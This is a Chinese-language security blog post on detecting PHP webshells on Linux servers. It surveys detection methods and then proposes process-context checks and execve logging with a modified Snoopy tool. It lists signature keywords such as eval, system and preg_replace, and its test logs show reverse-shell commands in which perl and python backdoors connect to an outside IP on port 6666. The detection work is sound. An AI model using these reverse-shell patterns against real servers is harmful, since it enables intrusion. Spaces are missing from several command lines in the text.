探索黑客技术攻防,实战研究与安全创新

导航菜单

另类思路检测webshell

前言

最近国内某著名安全公司的工程师来我们公司与我们进行了安全技术交流,交流中展示了一种基于PHP内核来检测php的webshell的demo,的确很牛,但访问一个页面就会出现很多信息,在页面较多访问量较大的情况下会产生海量日志,感觉真正投入使用还需要进行较多优化。

这里我介绍一下我以前使用的两种方法来检测webshell,应该说效果比这个明显很多,一旦有人利用webshell执行命令都会被发现,供大家参考。在介绍我的思路之前,我们先简单小结一下常见的webshell检测方法。

常见的webshell检测方法

关于webshell的检测与绕过,网上有较多的文章进行过讨论。我按自己的理解简单总结如下:

基于特征码对文件进行扫描

Webshell与正常的网页文件肯定存在着一些特定的区别,利用这些区别就可以找到webshell,我们把这些特定的区别称之为特征码。Webshell的特征码包括:一些关键的函数如eval、system、shell_exec等;也包括一些黑客的版权信息比如4ngel、wofeiwo、c99shell等。这种方法存在着误报和漏报的问题,误报主要在于正常的页面可能也会调用eval等函数,漏报在于特征码收集的是否全面以及存在着相应的规避措施。

比如下面这个某牛的webshell:



我自己写的webshell扫描工具能发现它主要因为我把preg_replace这个函数也做为了特征码,不太明白preg_replace函数作用的人可能就不会认识到这一点。当然如果扫描发现了一些黑客版权特征那基本上断定是webshell了。下图为我以前自己写的一个webshell扫描工具的效果图:

E1.png

基于文件属性变化

除了扫描文件特征码之外,还可以结合文件变化来进行,比如html目录正常情况下不会有动态文件但突然哪天多了一个xx.php,或者其它目录多出一个属主为nobody的文件等。

一种思路就是监控文件的变化,当有变化的时候自动调用检测脚本进行检测等。

基于网络访问特征

现在有一些IPS会将webshell.php、diy.asp、cn99.php等做为特征报警,其实是在网络上截获url然后匹配特征进行。顺着这个思路,如果开发一套系统对网络上的http流量进行分析,提取出所有的访问页面、参数、访问方式等信息存入数据库,当有新增的页面或页面新如来一个访问参数或者请求方式由GET变为POST时就可能存在异常。但是这种方案实施和运维工作量会比较大,而且无法支持https网站(除非导入网站证书解密)。

基于php内核的检测

不管webshell代码怎么变形,最终都要经过php解析引擎解析后执行,在这个时候所有的操作对你都是可见的。基于这个思路,一些牛人开始设计基于php内核的检测方式,目前还没有一款相对成熟的产品,本次某安全公司过来演示的也只是一个demo。

另类思路检测webshell

上传webshell上来之后,黑客会进行什么操作?用webshell的浏览目录功能到处逛?还是会用到其执行命令的功能比如反弹个shell?执行这些操作与正常的用户访问页面到底有什么区别?基于此,在和一些朋友的讨论下,我提出了基于进程上下文的方案,并且在真实环境进行了测试。后面我又研究了基于系统调用的方案并且在真实环境进行了测试,这里一并介绍给大家。

基于进程上下文的检测

linux上的webshell基本上都具备反弹shell功能,一旦有人利用此功能反弹shell,系统上就会出现相应的进程变化,利用这种变化就能发现一些异常。比如某系统是nginx以php-cgi方式运行php,而且nginx以nobody权限运行,那执行:ps-ef|grep

nobody|grep-vphp-cgi|grep-vnginx|grep-vgrep就能获取到可疑的进程,写一个脚本把可疑的进程记录并发邮件出来,然后做个crontab一分钟执行一次这个脚本。以安全天使的phpwebshell为例进行测试,得到以下数据:当使用c代码模式反弹时会发现:


nobody
nobody
7301
1013:00?
00:00:00lynx
73027301013:00?
00:00:00sh-cecho`uname-a`;echo
`id`;/bin/sh
nobody
73077302013:00?
00:00:00/bin/sh


尝试上传一个perl后门利用webshell执行时会发现:


013:16?
/usr/local/zeus/htdocs/www.x.com/signon.pl121.9.227.806666
81448137013:16?00:00:00sh-i


尝试上传一个py后门上去利用webshell执行时会发现:


013:19?
/usr/local/zeus/htdocs/www.x.com/cleanup.py121.9.227.806666
82048203013:19pts/100:00:00/bin/sh
nobody
8137
2257
00:00:00perl
nobody
nobody
8203
1924
00:00:00python
nobody


另外,也可以考虑反弹shell其实会调用sh命令,也可以ps-ef|grepsh获取到所有的bash,然后看其父进程ID对应的cwd+exe的组合是否为/usr/sbin/sshd。以下为在某网站服务器上进行的相应测试。


[root@testbin]#ps-ef|grepsh|grep-vgrep
root
root
2983
102010?
00:13:31/usr/sbin/sshd
00:00:00/bin/sh
3033
102010?
/usr/local/mysql/bin/mysqld_safe--user=mysql
root
root
64422983012:46?
00:00:00sshd:root1@pts/0
64466442012:46pts/0
00:00:00-bash
nobody1138811387014:14pts/1
00:00:00/bin/sh


我们看进程6442的相关信息(中间无关信息已省略)


[root@testbin]#ll/proc/6442
total0
dr-xr-xr-x2rootroot0Mar314:43attr
-r--r--r--1rootroot0Mar312:47cmdline
lrwxrwxrwx1rootroot0Mar314:43cwd-/
lrwxrwxrwx1rootroot0Mar312:46exe-/usr/sbin/sshd
lrwxrwxrwx1rootroot0Mar314:43root-/
[root@testbin]#


而看进程11387的相关信息(中间无关信息已省略)


[root@testbin]#ll/proc/11387
total0
dr-xr-xr-x2nobodynobody0Mar314:34attr
-r--r--r--1nobodynobody0Mar314:14cmdline
lrwxrwxrwx
1
nobody
nobody
0
Mar
3
14:34
cwd
-
/usr/local/zeus/htdocs/www.x.com
lrwxrwxrwx1nobodynobody0Mar314:34exe-/usr/bin/python
lrwxrwxrwx1nobodynobody0Mar314:34root-/
[root@testbin]#


通过判断cwd和exe组合起来是否为/usr/sbin/sshd就可以轻易的发现异常的shell连接,其实现也很简单,就不再多说了。

基于系统调用来检测webshell这个思路起源于我当初对bash记录的研究,当时在想,如果我们监控一下运行php的进程在系统上执行了哪些系统调用或命令,在webshell执行与正常情况下是否有一些不同的系统调用,利用这些不同就能抓到webshell。当然,这里的记录命令不同于在登录到linux,调用/bin/bash执行命令,需要用专门的工具来进行记录。经过我测试,有一款叫Snoopy的开源工具能实现这个功能,它的介绍如下:


Snoopyisdesignedtoaidthetaskofasysadminbyprovidingalogofcommands
executed.Snoopyiscompletelytransparenttotheuserandapplications.Itislinked
intoprogramstoprovideawrapperaroundcallstoexecve().Loggingisdonevia
syslogdandwrittentoauthpriv,allowingsecureoffsiteloggingofactivity.


开源的东西好是好,但需要进行定制,没有定制的snoopy会输出所有的系统调用系统,我们将其代码进行修改,只记录nobody的进程

snoopy.c的代码:


#ifSNOOPY_ROOT_ONLY
if((geteuid()!=0)(getuid()!=0)){
return;
}
#endif


将其中的0改为nobody的uid即99之后,进行编译安装,针对安全天使的webshell进行测试效果如下图:

E2.png

从图中可以看到,我们在webshell里尝试执行了很多命令,其中还利用内置的perl模式执行了反弹后门,但在正常浏览网页的时候并不会出现这些调用,所以说一旦有就可以认为是异常。由于snoopy是把日志写入syslog的,即只需要把各台机器的syslog集中然后进行统一分析即可实时的发现异常。

总结

这两种思路实施起来都相对比较容易,效果也非常明显,即一旦有人访问webshell执行命令就能被发现。两种思路需要大家结合自己企业的现状进行适当优化,比如syslog集中采用syslog-ng或者日志送往SOC并在SOC上做规则对事件进行分析并生成相应告警。

但是请注意,本文所讨论的两种思路有一个基本的前提,就是webshell要被人访问,如果一个webshell隐藏在服务器上许多年都没有访问,靠这种方式是发现不了的.

相关推荐